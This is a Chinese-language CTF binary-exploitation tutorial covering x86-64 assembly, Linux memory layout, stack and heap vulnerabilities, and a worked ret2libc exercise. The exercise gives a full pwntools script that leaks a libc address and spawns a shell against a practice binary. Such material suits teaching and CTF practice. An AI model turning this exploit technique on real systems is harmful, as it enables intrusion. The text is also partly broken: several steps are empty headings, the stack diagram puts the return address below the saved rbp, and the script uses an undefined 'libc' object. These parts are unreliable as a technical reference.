去年在DEF CON CTF现场,我亲眼目睹一支队伍因为误判栈帧结构导致ROP链构造失败,最终以5分钟之差与冠军失之交臂。这让我深刻意识到:在二进制攻防的世界里,对底层原理的掌握程度直接决定你的漏洞利用成功率。今天我们就来解剖Pwn领域最基础也最重要的两大核心——汇编语言与Linux内存模型。
不同于速成教程里教的"万能payload模板",我们要从CPU寄存器的工作机制开始,一步步拆解进程地址空间的秘密。当你真正理解mov指令在内存中的实际运作方式,或是能凭空画出堆块合并时的bins变化图,那些看似玄学的漏洞利用手法会突然变得无比清晰。
x86-64架构下,rax/rcx/rdx这些通用寄存器就像厨师手边的调料台。但要注意:
实战技巧:gdb中
info registers命令可以瞬间显示所有寄存器状态,在动态调试时比静态分析更直观
我们重点分析Pwn题中最常见的五类指令:
数据传输指令
mov [rdi], rax:将rax值写入rdi指向的内存lea rsi, [rbp-0x20]:计算地址但不访存(常用于获取局部变量地址)算术运算指令
add dword ptr [rbp-4], 1:典型的栈变量自增shl rax, 3:左移3位相当于乘以8(堆块大小计算常用)控制流指令
call 0x400500:会先将返回地址压栈ret:从栈顶弹出返回地址(ROP利用的关键)栈操作指令
push rax:相当于sub rsp,8; mov [rsp],raxpop rbx:相当于mov rbx,[rsp]; add rsp,8特殊指令
syscall:触发系统调用(需要提前设置rax等寄存器)int 0x80:32位系统的传统系统调用方式当你在C代码中调用func(1,2,3)时,底层发生的完整过程:
assembly复制mov edx, 3
mov esi, 2
mov edi, 1
call func指令:
assembly复制push rbp
mov rbp, rsp
sub rsp, 0x20 # 分配栈空间
assembly复制leave # 相当于 mov rsp,rbp; pop rbp
ret
血泪教训:某次比赛因为没注意调用约定(System V AMD64 ABI规定rdi/rsi/rdx顺序传参),导致参数传递错位浪费两小时
用cat /proc/[pid]/maps可以看到进程的完整内存布局。典型结构如下:
| 内存区域 | 地址范围示例 | 属性 | 说明 |
|---|---|---|---|
| .text | 0x00400000 | r-xp | 代码段(机器指令) |
| .data | 0x00601000 | rw-p | 已初始化全局变量 |
| .bss | 0x00602000 | rw-p | 未初始化全局变量 |
| heap | 0x01a73000 | rw-p | 动态分配内存区域 |
| stack | 0x7ffd4f3e7000 | rw-p | 线程栈空间 |
| vdso | 0x7ffd4f5fe000 | r-xp | 内核辅助调用 |
| libc-2.27.so | 0x7f8d3b400000 | r-xp | 共享库代码段 |
以如下函数为例:
c复制void vulnerable() {
char buf[16];
gets(buf); // 危险函数!
}
其栈帧在x86-64下的实际布局:
code复制高地址
+------------------+
| 保存的rbp | <-- rbp
+------------------+
| 返回地址 |
+------------------+
| buf[15] |
| ... |
| buf[0] | <-- rsp
低地址
当输入超过15字节时,就会发生经典的栈溢出。但现代防护机制(如Canary)会让利用变得更复杂:
glibc的ptmalloc2分配器使用如下核心数据结构:
典型堆漏洞利用场景:
c复制char *p = malloc(32);
free(p);
*p = 'A'; // UAF!
c复制void *p = malloc(32);
free(p);
free(p); // 双重释放!
c复制char *p = malloc(24);
strcpy(p, "AAAAAAAAAAAAAAAAAAAAAAAA"); // 超出24字节
调试技巧:在gdb中使用
heap chunks和heap bins命令(需安装pwndbg插件)可以直观查看堆状态
给定二进制文件checksec结果:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键漏洞代码:
c复制void vuln() {
char buf[40];
read(0, buf, 0x100); // 明显栈溢出
}
确定偏移量:
构造ROP链:
完整exp示例:
python复制from pwn import *
context.binary = './stack_overflow'
p = process('./stack_overflow')
# 第一阶段:泄露libc地址
rop = ROP(context.binary)
rop.call('puts', [context.binary.got['puts']])
rop.call('vuln')
payload = b'A'*56 + rop.chain()
p.sendline(payload)
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
# 第二阶段:获取shell
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
payload = b'A'*56 + rop.chain()
p.sendline(payload)
p.interactive()
地址对齐问题:
ret指令调整one_gadget使用条件:
one_gadget工具查找可用gadget:bash复制one_gadget /lib/x86_64-linux-gnu/libc.so.6
本地通远程不通:
ldd命令确认远程libc版本汇编强化训练:
objdump -d反汇编简单程序内存实验方法:
c复制int *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// 观察/proc/[pid]/maps变化
推荐实验环境:
最后分享一个冷知识:在调试fork型程序时,set follow-fork-mode child命令可以让gdb自动跟踪子进程。这个技巧在分析某些沙箱逃逸题时特别有用。